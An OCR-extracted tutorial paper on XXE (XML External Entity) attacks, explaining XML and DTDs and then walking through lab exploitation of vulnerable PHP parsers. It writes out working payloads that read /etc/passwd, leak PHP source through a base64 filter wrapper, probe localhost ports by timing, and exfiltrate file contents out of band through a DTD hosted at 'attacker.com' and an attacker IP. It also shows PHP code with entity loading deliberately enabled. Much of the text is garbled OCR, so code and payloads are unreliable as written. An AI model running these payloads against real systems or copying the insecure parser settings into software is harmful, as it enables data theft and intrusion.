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e INTRODUCTION

XXE stands for XML External Entity and we are going to explain this vulnerability and its
consequences starting from the basics till the advanced exploitation in this paper.

DescripTiON 1.1

As OWASP describes XXE. "An XML External Entity attack is a type of attack against an application
that parses XML input. This attack occurs when XML input containing a reference to an external entity is
processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data,
denial of service, server side request forgery, port scanning from the perspective of the machine where the
parser is located, and other system impacts.

The XML 1.0 standard defines the structure of an XML document. The standard defines a concept called an
entity, which is a storage unit of some type. There are a few different types of entities, external
general/parameter parsed entity often shortened to external entity, that can access local or remote content
via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced
(accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences
of the named external entity with the contents dereferenced by the system identifier. If the system
identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor
may disclose confidential information normally not accessible by the application. Similar attack vectors
apply the usage of external DTDs, external stylesheets, external schemas, etc. which, when included, allow
similar external resource inclusion style attacks.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user
data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the
application processing the XML document, an attacker may use this trusted application to pivot to other
internal systems, possibly disclosing other internal content via http(s) requests or launching a CSRF attack
to any unprotected internal services. In some situations, an XML processor library that is vulnerable to
client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing
arbitrary code execution under the application account. Other attacks can access local resources that may
not stop returning data, possibly impacting application availability if too many threads or processes are not
released. "[1]

<IDOCTYPE Message [

1>

i g I Message |
‘\‘_)" <Response> ' |— [C:\boot.ini]

Thank you [“/etc/hostanme”]
</ Response >

Client Web Application

[57
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WHAT’SsXML? 1.2

So before we go further we need first to answer what’s XML? “XML is the Extensible Markup
Language. It improves the functionality of the Web by letting you identify your information in a more
accurate, flexible, and adaptable way. It is extensible because it is not a fixed format like HTML (which is a
single, predefined markup language). Instead, XML is a metalanguage — a language for describing other
languages — which lets you design your own markup languages for limitless different types of documents.
XML can do this because it's written in SGML, the international standard metalanguage for text document
markup (ISO 8879).” [2]

Root element:
<bookstore:

F‘arent’[

L:hild

Attribute:
“lang”

Elemeant:
<bookz

Attribute:
“category”

Element:
<title=

Element:
<authors

Element:

<years

Elernent:

<prices

F—
Siblings

Text:

Everyday Italian

Text:
Giada De

Laurentiis

Text:
2005

Text:
30.00

XML Example

<?xml version="1.0" encoding="UTF-8"?>

<book category="cooking">
<title lang="en">Everyday Italian</title>
<author>Giada De Laurentiis</author>

<price>30.00</price>

<book category="children">
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>

<price»>29.99</price>

<title lang="en">Learning XML</title>
<author>Erik T. Ray</author>

<price»>39.95</price>

HAVING/PROBLEMS WITH
XML,

mgglegenzraior g

1.

2. <bookstore>

o

4.

5.

6. <year>2005</year>

7.

8. </book>

9.

10.

11.

12. <year>2005</year>

13.

14. </book>

15. <book category="web">

16.

17.

18. <year>2003</year>

19.

20. </book>

21. </bookstore>
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WHAT’s DTD?

“The XML Document Type Declaration, commonly known as DTD, is a way to describe XML
language precisely. DTDs check vocabulary and validity of the structure of XML documents against
grammatical rules of appropriate XML language. An XML DTD can be either specified inside the document,

PN SN E

[ER
= O

=
w N

or it can be kept in a separate document and then liked separately.” [3]

<?xml version ="1.0" encoding = "UTF-8" standalone = "yes" ?>
<IDOCTYPE address [

<IELEMENT address (nhame,company,phone)>

<IELEMENT name (#PCDATA)>

<IELEMENT company (#PCDATA)>

<IELEMENT phone (#PCDATA)>
1>

<address>
<name>Tanmay Patil</name>
<company>TutorialsPoint</company>
<phone>(011) 123-4567</phone>

. </address>

SEVERITY 1.3

As the vulnerability violates the Confidentiality or Integrity it’s severity is HIGH.

CONSEQUENCES 1.4

File Disclosure

Remote Command Execution
Server Side Request Forgery
Client Side Request Forgery
Local Port Scanning

Internal Network Hosts Scan

ok wNE
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e EXPLOITATION

BASIC — LOGIN IF You CAN

consider this basic example where the PHP file loads the XML file we provide and prints out the
username with no input validation.

1. <?php

2 libxml_disable_entity_loader (false);

3 Sxmlfile = file_get_contents('php://input');

4, Sdom = new DOMDocument();

5. Sdom->loadXML(Sxmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
6 Sinfo = simplexml|_import_dom(Sdom);

7 Sname = Sinfo->name;

8 Spassword = Sinfo->password;

9. echo "Sorry, this Sname not available!";

10. ?>

Go Cancel Target: http://192.168.130.146

Request Response
J Raw T Params T Headers T Heax IXML ] J Raw I Headers I Hex ]

POST /xxe/xxe.php HTTP/1.1 A HTTP/1.1 200 CK

Host: 192.168.130. 146 r Date: Sat, 21 Jul 2018 19:25:20 GMT
User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:52.0) Server: Apache;s2.4.27 (Ubuntu)
Gecko/20100101 Firefox/52.0 Content-Length: 32

Accept: */* Connection: close

Accept-Language: en-US,en;g=0.5 Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate

Referer: http://192.168.130. 146/ xxe/ Sorry, this admn not available!

Content-Length: 95

Content-Type: text/plain;charset=UTF-8
Cookie: PHPSESSID=hdche3thOgaSuvm26d2kndpgsl
Connection: close

<?xml version="1.0"
encoding="UTF- 8" ?><root=<name>admin</name><password=ad
min</passwords=</root=

Login If You Can
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AA3CO3



AA3CO3

So we have the control of the input username and password which to use? it’s an advantage to use the
username as the output of our parsed XML input can be printed out in the hold of the tag <name>. How
would this help? Please consider that we can provide an external entity with the purpose of reading a file

but how?

Cance

Go

Request

< | > v

Raw | Params | Headers | Hex | XML

Target: http://192.168.130.146 Lfﬂ LEJ

Response

Raw | Headers | Hex

POST /xxe/xxe.php HTTP/1.1

Host: 192.168.130.148

User-Agent: Mozilla/S.0 (X11; Linux x85_64; rv:52.0)
Gecko/20100101 Firefox/52.0

Accept: */*

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Referer: http://192.168.130.146/xxe/
Content-Length: 178

Content-Type: text/plain;charset=UTF-8
Cookie: PHPSESSID=hdche3tbOgaSuvmz6dzkndpgal
Connection: close

<?xml wersion="1.0" encoding="LUTF-8"7=

=!DOCTYPE r [

=!ELEMENT r ANY =

<!ENTITY sp SYSTEM "file:///etc/passwd"=>

1=
<root><name=&sp;</name><password>admin</password=</roo
=

>

e
v

HTTP/1.1 200 OK

Date: Sat, 21 Jul 2018 19:26:30 GMT
Server: Apache/2.4.27 (Ubuntu)

Vary: Accept-Encoding

Content-Length: 1449

Connection: close

Content-Type: text/html; charset=UTF-8

Tu

Sarry, this root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon: fusr/sbin: fusr/sbin/nologin
bin:x:2:2:bin:/bain: fusr/sbin/nologin
sys:x:3:3:sys: /dev: /usr/sbin/noleogin
sync:x:4:65534:sync:/bin: /bin/sync
games:x:5:60:games: /usr/games: fusr/sbin/nologin
man:x:6:12:man: /var/cache/man: fusr/sbin/nologin
lp:x:7:7:1p:/var/spool/1lpd: fusr/sbin/nologin
mail:x:8:8:ma1l:/var/mail: fusr/sbin/nologin
news:x:9:9:news: /var/spool/news: /usr/sbin/nologi
n

uucp:x:10:10:uucp: /var/spool/uucp: fusr/sbin/nolo
gin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data: /var/www: fusr/sbin/nol
ogin

backup:x:34:34:backup: svar/backups: fusr/sbin/nol
ogin

list:x:38:38:Mai1ling List

Manager:/var/list: fusr/sbin/nologin
1rc:x:39:39:1rcd:/var/run/ircd: fusr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System
{admin):/var/libsgnats: fusr/sbiny/nologin
nobady : x: 65534: 65534 :nobody : /nonexistent : fusr/sh
1n/nologin

systemd-timesync:x:100: 102:systemd Time
Synchronization,,,:/run/systemd: /bin/false
systemd-network:x:101:103:systemd Network
Management, ,, :/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd
Resolver,,, :/run/systemd/resolve: /bin/false
systemd-bus-proxy:x:103:105:systemd Bus

And we were able to disclose the file /etc/passwd. But what if we want to disclose a PHP file? Let’s try to

disclose the index.php

Go <|v
Request

Raw ParamsIHeaders Hex XML]

>\

Cancel

Target: http://192.168.130.146 Lfﬂ sz

Response

Raw | Headers | Hex

POST /xxe/xxe.php HTTP/1.1

Host: 192.168.130.145

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:52.0)
Gecko/20100101 Firefox/52.0

Accept: */*

Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate

Referer: http://192.168.130. 146/ xxe/
Content-Length: 176

Content-Type: text/plain;charset=UTF-8
Cookie: PHPSESSID=bdcheztbogaSuvm26dzkndpqsl
Connection: close

<7xmlL version="1.0" encoding="UTF-8"7?=>

<!DOCTYPE r [

<! ELEMENT r ANY =

<!ENTITY sp SYSTEM "file://index.php"=

1=

<root>=name=&sp; </name=<password=admin</password=</roo
t=

T

HITP/1.1 200 0K

Date: Sat, 21 Jul 2018 19:27:43 GMT
Server: Apache/2.4.27 (Ubuntu)
Content-Length: 27

Connection: close

Content-Type: text/html; charset=UTF-g8

T

Sorry, this not available!

No luck ® . let’s get around this. What if you can use the PHP wrappers? Let’s give it a shot.
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AA3CO3



AA3CO3

As we know “if you really do” that there is a PHP wrapper to read a file and returns its content encoded

to base64.

Success ©.

Go Cancel <|r >|r
Request
Raw | Params | Headers | Hex | XML

Target: http://192.168.130.146 E"J[

Response

Raw | Headers | Hex

POST /xxe/xxe.php HTTP/1.1

Host: 192.168.130.146

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0

Accept: */%*

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Referer: http://192.168.130. 146/xxe/
Content-Length: 218

Content-Type: text/plain;charset=UTF-8
Cookle: PHPSESSID=bdcbe3tbogaSuvmzed2knapgsl
Connection: close

<?xml version="1.0" encoding="UTF-8"7=

<!DOCTYPE r [

<!ELEMENT r ANY =

<|ENTITY sp SYSTEM
"hhp://fllter/read:cnnvert.basesd-encode/resourcezindex.php":-
1=

<root=<name=&sp;</name=<password=admin</password=</root=

And here is the content decoded

Tr

P

HTTP/1.1 200 OK

Date: Sat, 21 Jul 2018 19:28:04 GMT
Server: Apaches/2.4.27 (Ubuntu)

Vary: Accept-Encoding

Content-Length: 7307

Connection: cleose

Content-Type: text/html; charset=UTF-8

Sorry, this

CiwhRESDVFLQRSBodG1sIFBVQk xJQyA1L SEvVz
NDLy9EVEQgWE UT UwgMSawI FRy YWSzaXRpb25h
bCcevRU41 C1 JodHRwO1 8vd3d3LnczLmIy Zy SUUL
94aHRtbhDEVRFREL 3hod G1sMS10cmFuc21 0aWou
YwuZHRk I j AKPGhGbWwgeG1sbnMaI mhodHAGL Y
93d3cudzMub3InLzESOTkveGhobWwi Pgo8aGvh
ZD4KPG11dGEgaHROCcC1 LeXvpd ] 01 Q29udGyudc
1UeXB111B]b250ZWS0PS] 0ZXhOL2hObWw 71 Gho
¥ XJzZXQOVVRGLTgi IC8+Cj xoZwFkPgosdGlebG
LT GOnaW4gTmO3PC90a XRs ZT 4KPG1LdGEgbmFt
ZTo1dmlld3BvcnQi IGNvbnRLbnQSI ndpzHRoPW
Rldmlj Z513aWR0aCwgaWSpdGLhbClzY2FsZT 0x
LjAlPgosbGluayByZwwoI nNOewWx1lc2h1ZXQLIG
hyZwY 91 nNGeWx Lcy9sY XLvdXQuY 3Nz11 BEe XBl
PSJ0ZXheL2MNzcyI gbwWvk aWESI mFsbCI+C) xsaw
SrIHI1bDe1 c3RSbGVzaGV1dCIgaHI1Z] 01 ¢3RS
bGvzL211ZGlhcxVlieml leyS) c3Mi IHRScGUSIN
RleHQvY 3NzI1BtZWRpYTO1 YWxsI j 4KPHNGewWx 1
IHRSCGUSINRLeHQvY 3NzI ] AKZGL2LmZ1bGxfd2
LkdGh7bWFyZ21uLXRv<DoyMHBA030KZGL2LmZ1
bGxf d21kdGg6Zmlyc3qtY 2hpb GR7ZbWFyZ21ulL X
RvcDowO030KZGL 2L mZ1bGxf d21lkdGggZGl2e2hv
bGOy01 M2N] Y 2N] Y 7L GIhY 2Ztncm91bmQty 29sb3
161 ORFREVERT tSCjwvc 3RShGLHCJ xzY3JpcHQg
dHLWZT 01 dGV4dCOqY XZhc 2Ny a XBOI 1 Bz cmMoIn
Nj emlwdHMvanF1ZXJSLmlpb1 SqcyI+PCozY3Ip
cHQ+C] xzY 3IpcHQgdHLwZT 01 dGV4dCOqY XZhe2
NyaXBOI ] 4KZnVuY 3Rpb 24gWE1MRNVuY 3Rpb240
KXsKICAgIHZhciBAbwwgPSANIyArCi AgI CAQIC
AgJlzw/eGlsIHZ leniNpb 2491 j EuMCI gZWS)b2Rp
bmeSI 1VURL 041 J 8+ JyArC1 AgI CAgI CAglzxyb2

90P1 cgKwogI CAgI CAgI Cc8bmFtZT4nICsglCgn
T 2Ehhlil InK S W hhank CART Cefl 2Shhidl b TaArcs

[Target l Proxy ] Spider [ Scanner | Intruder | Repeater ] Sequencer l Decoder ] Comparer ] Extender | Project options l User options l

CAgICAgICAGICAgIDWveDAKICAGICAGICAGICAGP CImMawysZHNIdDAKICAgICAGICABL2Rpdj4KICAgIDWVZGI2Pgo8L2NIbnRlcjak

® Text () Hex [:J

Decode as ... v
Encode as ... s
Hash ... v
< e { Smart decode J
A @ Text () Hex

<!DOCTYPE html PUBLIC "-/fW3C//DTD XHTML 1.0 Transitionalf/EN" _—
"http:/fwww w3 .org/TRfxhtm|1/DTD xhtmi1-transitional dtd"= Decode as ... =
<html xmins="http:/fwww.w3.0rg/1999/xhtml"= T
<head=> Encode as ... |
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> S TE———
Hash ... -

<head>
- X —
f itle=Loagin Now< ftitle=> - { e J
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GET PARAMETER
Consider this example where inputs are entered through the GET parameter name

<?php

if (isset(S_GET['name']) ) {

libxml_use_internal_errors( true );
libxml|_disable_entity_loader( false );

Sxml = '<?xml version="1.0" encoding="UTF-8" standalone="no" ?>'.$_GET['name'];

10. Sparsed = simplexml_load_string( $xml, 'SimpleXMLElement', LIBXML_NOENT );
12. if (!Sparsed ) {

14. foreach( libxml_get_errors() as Serror)
15. echo Serror->message . "\n";

17. }else {

19. echo 'Hello '. Sparsed . "\n";
20. }

21.

22.}

23. >

same as the previous example except that you control a whole XML content
PE r [<IELEMENT r AN T o2fetcof|

€ 192.168.130.170/labs/lab22.php?name=<IDOCTYPE r [<IELEMENT r ANY ><[ENTITY sp SYSTEM "file%3a%2f%2f%2fetc%2fpasswd'>]><name>%26sp%3b<%2fname 2 ot Search wE @ 3 @ =
&I Most Visitedw [J§Offensive Security ' Kali Linux " Kali Docs " Kali Tools ®. Exploit-DB Wy Aircrack-ng %, Kali Forums & NetHunter @ Getting Started * Detectify Labs

INT v | = @ SQLBASICSv UNION BASEDv DIOSv ERROR/DOUBLE QUERYv TOOLS~ WAF BYPASS~ ENCODING~ HTMLv ENCRYPTION~ OTHERv XSSv  LFlv  RESOURCESw

@i Load URL

% Split URL

») Execute

[IPostdata [ |Referrer % OxHEX HAX-BAR By Team HAX 3 = psees > (TR GRS | Repoc Al = =

Post data

:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/shin/mologin bin:x:2:2:bin:/bin:fusr/sbin/nologin sys:x:3:3:sys:/dev:fusr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbi
mologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin Ip:x:7:7:Ip:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:fusr/shin/nologin news:x:9:9:news:/var/spool/news:/usr/shin/nologin uucp:x:10:10:uucp:/var/spool/uucp:
fusr/shin/nologin proxy:x:13:13:proxy:/bin:fusr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/shin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/shinmologi
irc:x:39:39:ircd:/var/run/ircd:fusr/shin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534 mobody:/nonexistent:fusr/sbin/nologin systemd-timesync:x:100:102:systemd
Time Synchronization,,,;/run/systemd:/usr/shin/nologin systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/usr/shin/nologin systemd-resolve:x:102:104:systemd Resolver,,,;/run/systemd/resolve:/usr/shin
Mmologin _apt:x:104:65534::/nonexistent:/usr/shin/mologin mysql:x:105:109:MySQL Server,,,;/nonexistent:/bin/false epmd:x:106:110::/var/run/epmd:/usr/sbin/nologin Debian-exim:x:107:111::/var/spool/exim4:fusr/shin/nologin
uuidd:x:108:113::/run/uuidd:fusr/sbin/nologin rwhod:x:109:65534::/var/spool/rwho:/usr/sbin/nologin redsocks:x:110:114::/var/run/redsocks:/usr/sbin/nologin usbmux:x:111:46:usbmux daemon,,,:fvar/lib/usbmux:/usr/sbin/nologin
miredo:x:112:65534::/var/run/miredo:/usr/shin/nologin ntp:x:114:116::/nonexistent:/usr/sbin/nologin stunnel4:x:115:118::/var/run/stunnel4:/usr/sbin/nologin rtkit:x:116:119:RealtimeKit,,,;/proc:/usr/shin/nologin
postgres:x:117:120:PostgreSQL administrator,,, :/var/lib/postgresql:/bin/bash dnsmasg:x:118:65534:dnsmas,,,;/var/lib/misc:/usr/shinmologin messagebus:x:119:121::;monexistent:/usr/sbin/nologin iodine:x:120:65534::var/run/iodine
fusr/sbin/nologin arpwatch:x:121:123:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh sslh:x:122:127::/nonexistent:/usr/sbhin/nologin gluster:x:123:129::/var/lib/glusterd:fusr/shin/nologin couchdb:x:124:130:CouchDB Administrator,,,:/var
lib/couchdb:/bin/bash avahi:x:125:133:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin sshd:x:126:65534.::/run/sshd:/usr/sbin/nologin colord:x:127:134:colord colour management daemon,,,;/var/lib/colord:/usr/sbhin
mologin saned:x:128:136::/var/lib/saned:fusr/sbin/nologin speech-dispatcher:x:129:29:Speech Dispatcher,,,;/var/run/speech-dispatcher:/bin/false pulse:x:130:137:PulseAudio daemon,, :/var/run/pulse:/usr/sbin/nologin Debian-
gdm:x:131:139:Gnome Display Manager:/var/lib/gdm3:/bin/false king-phisher:x:132:140::/var/lib/king-phisher:/usr/sbin/nologin dradis:x:133:141::/var/lib/dradis:/usr/sbin/nologin beef-xss:x:134:142::/var/lib/beef-xss:/usr/shin/nologin
geoclue:x:103:105::/var/lib/geoclue:/usr/shin/nologin debian-tor:x:135:143::/var/lib/tor:/bin/false systemd-coredump:x:997:997:systemd Core Dumper:/;/shin/nologin Debian-snmp:x:113:115::/var/lib/snmp:/bin/false
inetsim:x:136:999::/var/lib/inetsim:/usr/sbin/nologin

Hello root:x:0
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JSON

In some cases, your input gets encoded to JSON before it gets sent.

T} Inspectar = Debugger [} Style Edi...
.

Net e (CSS JS ® Security -~ @ Logging
SCCrest

192.168.130.170/1abs/styles/layout.css

/192.168.130.170/1abs/1ab44 . php

Headers POST Response Call Stack

JSON

name:
password: "2"

Raw Data

(@ Performa...

@ Server

Password

{kMemory = Network & Storage <> DOM

05T jlabs/lab4a4.php HTTR/1.1

dost: 192.168.130.170

Jser-Agent: Mozillay/5.0 (X11; Linux x86_64;
\ccept: application/json, text/javascript,
lccept-Language: en-Us,en;q=0.5
\ccept-Encoding: gzip, deflate
Zontent-Type: application/json
{-Requested-With: XMLHttpRequest

eferer:
lontent-Length: 27
tonnection: close

"name":"2","password":"2"}

http://192.168.130.170/labs/lab4.php

rv:52.0)] Gecko/20100101 Firefox/52.0
:Q:I’:t

In this case, we can provide an External Entity to trigger the file we want to disclose

Request

Raw | Params | Headers | Hex | XML

Response

Raw | Headers | Hex

POST /labs/lab4a.php HTTP/1.1

Host: 192.168.130.170

User-Agent: Mozillas5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Content-Type: application/json
X-Requested-With: XMLHttpRequest

Referer: http://192.168.130.170/labs/1lab4.php
Content-Length: 157

Connection: close

<?xml wversion="1.0" ?=

<!DOCTYPE r [

<!ELEMENT r ANY =

<|ENTITY sp SYSTEM "file:///etc/passwd"=

1=

<root==name=&sp; </name=<password=hj</password=</rootp
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HTTR/1.1 200 OK

Date: Sun, 22 Jul 2018 14:40:18 GMT
Server: Apache/2.4.29 (Debian)

Vary: Accept-Encoding

Content-Length: 3211

Connection: close

Content-Type: text/html; charset=UTF-8

Serry, this reot:x:0:0:root:/root:/bin/bash
daemcn x:1:1:daemon: /usr/sbin: /usr/sbin/nclogin
:bin:/bin:/usr/sbin/nclogin

sys: :sys:/dev:/usr/sbin/nclogin

syncix 65534:sync: /bin:/bin/sync

games :60:games: /usr/games: fusr/sbin/nologin
man: 2:man: /var/cache/man: fusr/sbin/nologin

1p: /var/spool/lpd: fusr/sbin/nologin
g:mail:/var/mail: /usr/sbin/nologin

9:new5 /var/spool/news: fusr/sbin/nologin
uucp:x:10:10:uucp: /var/spocl/uucp: /usr/sbin/nelogin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33: 33 www- data: /var /www: fusr/sbin/nolegin
backup:x:34:34:backup: fvar/backups: fusr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd: /var/run/ircd: fusr/sbin/nolegin
gnats:x:41:41:Gnats Bug-Reporting System

{admin) : f/var/lib/gnats: fusr/sbin/nologin
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UpLOAD
Another example of XXE exploitation is by uploading and parsing XML files.

tep 2 Server Grabs DTD Contents:

<IENTITY % inception "</EN

&#x25; sendit SYSTEM
“hitp://192.168.1.10:4445/?%data;'>"
>

version="1.0" encoding="utf-8"?>

IENTITY % extentity SYSTEM
tp://192.168.1.10:4444 evil. dtd">

[6]
1. <?php
2. if(isset(S_POST["submit"])) {
3. Starget_file = getcwd()."/upload/".md5(S_FILES["file"]["tmp_name"]);
4, if (move_uploaded_file(S_FILES["file"]["tmp_name"], Starget_file)) {
5. try {
6. Sresult = @file_get_contents("zip://".Starget_file."#docProps/core.xml");
7. Sxml = new SimpleXMLElement(Sresult, LIBXML_NOENT);
8. Sxml->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/");
9. foreach(Sxml->xpath('//dc:title') as Stitle){
10. echo "Title "".Stitle . "' has been added.<br/>";
11. }
12. } catch (Exception Se){
13. echo "The file you uploaded is not a valid xml or docx file.";
14. }
15. }else{
16. echo "Sorry, there was an error uploading your file.";
17. }
18. }

We are getting asked to upload XML or DOCX file.

The file you uploaded is not a valid xml or docx file.
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So we try to upload a non-malicious XML file with the title “this is a test file” and this is how it handles XML files.

=>2015-89-

itle 'this is a test file' has been added.

Please notice that the title has been printed on the page. So we can customize our payload so the file we want to
disclose is getting out on the screen. So we crafted the following payload.

And the file got disclosed
gsiilyroot:x:0:0:root:froot: /bin/]

:1:daemon:/usr/sbin:fusr/shin/ologin bin:x:2:2:bin:/bin:fusr/shin/nologin sys:x:3:3:sys:/dev:/usr/shin/ologin sync:x:4:

:sync:/bin:/bin/sync games:x:5:60:games:/usr/games: /usr/sbi
:x:6:12:man:/var/cache/man:fusr/sbin/nologin Ip:x:7:7:Ip: fvar,'sponl/lpd fusr/shin/nologin mail:x:8:8:mail:/var/mail:fusr/shin/nologin news:x:9:9:news:/var/spool/news:/usr/shin/nologin uucp:x:10:10:uucp:var/spoolfuucp;
1st/shin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:fusr/shin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:fusr/sbin/nologin|
lirc:x:39:39:ircd:/var/run/ircd: fusr/shin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/shin/nologin nobody:x:65534:65534:nobody:monexistent:/ust/sbin/nologin systemd-timesync:x:100:102:systemd
ime Synchronization,,,:/run/systemd:/usr/shin/nologin systemd-network:x:101:103:systemd Network Management, ,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/usr/sbi
ologin apt:x:104:65534::/nonexistent:/usr/shin/nologin mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false epmd:x:106:110::/var/run/epmd:/usr/shin/nologin Debian-exim:x:107:111::/var/spool/eximd:/usr/shin/nologin
lu]dd x:108:113::/run/uuidd:/usr/sbin/nologin rwhod:x:109:65534::/var/spool/rwho fusrjsbm/‘nologm redsocks:x:110:114::fvar/run/redsocks:fusr/shin/nologin usbmux:x:111:46:ushmux daemon,,,:/var/lib/usbmux:/usr/shin/nologi
iredo:x:112:65534::/var/run/miredo:/usr/sbin/nologin ntp:x:114:116::monexistent:/usr/shin/nologin stunnel4:x:115:118::/var/run/stunneld:/usr/shin/nologin rtkit:x:116:119:RealtimeKit,,,:/proc: ,'usr/‘sbmmolot
[postgres:x:117:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash dnsmasq:x:118:65534:dnsmasq,,,/var/lib/misc:/usr/sbin/nologin messagebus:x:119:121::monexistent; nlsr/sbmmologm iodine:x:120:65534:var/run/iodine
1sT/shin/nologin arpwatch:x:121:123:ARP Watcher, ,:/vary/lib/arpwatch:/bin/sh ssth:x:122:127::monexistent:/usr/shin/nologin gluster:x:123:129::var/lib/glusterd:/usr/shin/nologin couchdb:x:124:130:CouchDB Administrator,, :/va
lib/couchdb:/bin/bash avahi:x:125:133:Avahi mDNS daemon, ,;/var/run/avahi-daemon:/usr/sbin/nologin sshd:x:126:65534::/run/sshd:/usr/shin/nologin colord:x:127:134:colord colour management daemon, ,;/var/lib/colord:/usr/shi
ologin saned:x:128:136::/var/lib/saned:/usr/sbin/nologin speech-dispatcher:x:129:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false pulse:x:130:137:PulseAudio daemon,,,:/var/run/pulse:/usr/shin/nologin Debian
gdm:x:131:139:Gnome Display Manager:/var/lib/gdm3:/bin/false king-phisher:x:132:140::varflib/king-phisher:fusr/shin/nologin dradis:x:133:141::;/var/lib/dradis:fusr/shin/nologin beef-xss:x:134:142:: var/lib/besf-xss: fusr/shin/nologi
geoclue:x:103:105::/var/lib/geoclue:/usr/sbin/nologin debian-tor:x:135:143:;/var/lib/tor:/bin/false systemd-coredump:x:997:997:systemd Core Dumper:/:/shin/nologin Debian-snmp:x:113:115::/var/lib/snmp:/bin/false
Jinetsim:x:136:999::/var/lib/inetsim:/usr/shin/nologin TR

Upload TEST Document

Read Document Title
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PORT ScaN

We can determine whether a port is opened or closed on the localhost of the vulnerable web application. Please
consider that this is heuristically is getting done and cannot be a confident information. In our case we have port
5355 is opened and 8080 is not so if a request is trying to reach localhost on a port that is open we get a longer
time compared to trying to connect to a closed port.

Testing port 8080 “closed” 1 milis

POST /xxe/xxe.php HTTP/1.1 A | HTTP/1.1 200 OK N

Host: 162.168.130.145 [ Dater sun, 22 Jul 2018 16:07:11 GMT r

User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Server: Apache/2.4.27 (Ubuntu)

Firefox/52.0 Content-Length: 32

Accept: */* Connection: close

Accept-Language: en-US,en;g=0.5 Content-Type: text/html; charset=UTF-8

Accept-Encoding: gzip, deflate

Referer: http://192.168.130.146/xxe/ sorry, this admin not available!

Content-Length: 181

Content-Type: text/plain;charset=UTF-8

Cookie: PHPSESSID=hdche3tbogasuvm26d2knapgsl

Connection: close

<rxml version='1.0" 7>

<IDOCTYPE data SYSTEM "http://127.0.0.1:8080/" [

<!ELEMENT data (#PCDATA) >

1=

<roots<namesadmin</names<data=4</datas<password=admin</passwords</roots
S e
v v

IR EBESED omatches | 2 ][ < ][+ ][=] [ 0 matches

Done

Testing port 5355 “opened” 10 milis

Request Response

Raw | Params | Headers | Hex | xmML Raw | Headers | Hex

POST /xxe/xxe.php HTTP/L.1 A HTTP/L.1 200 OK N

Host: 192.168.130.146 r Date: Sun, 22 Jul 2018 16:06:34 GMT r

User-Agent: Mozilla/s.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Server: Apache/2.4.27 (Ubuntu)

Firefox/52.0 Content-Length: 32

Accept: */* Connection: close

Accept-Language: en-US,en;q=0.5 Content-Type: text/html; charset=UTF-8

Accept-Encoding: gzip, deflate

Referer: http://192.168.130.146/xxe/ serry, this admin net available!

Content-Length: 181

Content-Type: text/plain;charset=UTF-8

Cookie: PHPSESSID=bdcbe3tbOgasuvm2sdzknapgsl

Connection: close

<?xml version="1.0" 7>

<IDOCTYPE data SYSTEM "http://127.0.0.1:5355/" [

<|ELEMENT data (#PCDATA) =

1=

<root: dmi n data=4</datas<p d=admin</password=</roots=
ke ke
v v

el omatches | (2 (< ][] (=] 0 matches

Done 199 bytes | 10,044 millis
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Out OF BAnND OOB

The main idea in this exploitation is that the output of the requested file is not getting disclosed so we
need to figure out a way to extract the output. In the below figure the idea is an attacker hosts a DTD file
on a domain he owns. The content of the DTD file is an entity that requests the attacker domain with the
content of the file we want to disclose and we can read the content of that file in our logs.

Request Attacker DTD (attacker.com/evil.dtd)
POST http://example.com/xml HTTP/1.1 <IENTITY % all "<!ENTITY send SYSTEM 'http://
attacker.com/?collect=%file; " >">»
%all;

<data>f&=end;</data>

XML
XXE Pl O= O= [\ XXE Parser
O=—" O= —
/etc/passwd |(—
Filesystem
source: acunetix.com
[7]

We used xxeserve.rb[4] because it runs a web server, creates a DTD file and prints out the logs.

